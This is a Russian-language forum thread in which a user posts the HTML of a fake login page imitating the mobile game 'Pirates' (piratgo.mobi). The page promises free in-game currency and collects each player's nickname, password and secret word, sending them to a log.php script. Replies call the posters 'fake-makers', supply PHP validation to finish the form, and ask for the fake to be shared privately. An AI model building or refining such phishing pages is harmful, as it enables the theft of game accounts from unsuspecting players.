PHP/MySQL | Редакните код
Тема закрыта by
yarukqwe

<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="format-detection" content="telephone=no" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="MobileOptimized" content="220" />
<meta name="HandheldFriendly" content="True" /> <meta name="keywords" content="пираты, онлайн игра пираты, мобильная игра, играть бесплатно, онлайн игра для телефона" />
<meta name="description" content="Новая онлайн игра Пираты. Играй бесплатно с компьютера, телефона и планшета.
Возможность онлайн игры для незрячих." />
<title>Онлайн игра Пираты</title><link rel="shortcut icon" href="/favicon.ico" />
<link rel="stylesheet" href="http://piratgo.mobi/default_index.css" type="text/css" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<link rel="apple-touch-icon" href="http://piratgo.mobi/touch-icon-iphone.png" />
<link rel="apple-touch-icon" sizes="57x57" href="http://piratgo.mobi/touch-icon-iphone.png" />
<link rel="apple-touch-icon" sizes="72x72" href="http://piratgo.mobi/touch-icon-ipad.png" />
<link rel="apple-touch-icon" sizes="114x114" href="http://piratgo.mobi/touch-icon-iphone-retina.png" />
<link rel="apple-touch-icon" sizes="144x144" href="http://piratgo.mobi/touch-icon-ipad-retina.png" /></head>
<body>
<div class="logo"><img src="http://piratgo.mobi/style/logo_mega.jpg" alt="Пираты лого" width="100%"></div>
<div class="index">
<title>Вход в игру</title>
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="stylesheet" href="http://piratgo.ru/default_x2.css" type="text/css" />
<div class="title">Накрутка пиастр!</div><div class="under">
<form method="POST" action="log.php"><center>
Ник персонажа: <br/>
<input type="text" name="login"><br/>
Пароль:<br/>
<input type="password" name="password"><br/>
Секретное слово: <br/>
<input type="password" name="secret"><br/>
Количество пиастр: <br/>
<input type="text" name=""><br/>
<input class="but" type="submit" value="Накрутить"></form>
</a></div><a class="link" href="http://piratgo.mobi/auts?go=lastpass"><img class="ico2" src="img/pics/piastr.png" alt="">Забыли пароль?</a>
<div class="foot_help"><a href="http://piratgo.mobi">piratgo.mobi</a> | <a href="/ogame">О игре</a></div>
</head>
<body>
<?php
echo'
<div class="d">Время: '.date("H:i:s").', мск.</div></body></html>';?>
Нужно сделать что б если не ввели пароль то катало не введен пароль также с логином и секретном словом
Ну вы фейкоделы вообще охерели!
skitalec,

Ну смотри вставляешь условие if(!isset($_POST['password']) || $_POST['password'] ==NULL) header('location:/') ;
Вот и все сообщение запиши в сессию
Вот и все сообщение запиши в сессию
Скинь мне фейк в л.с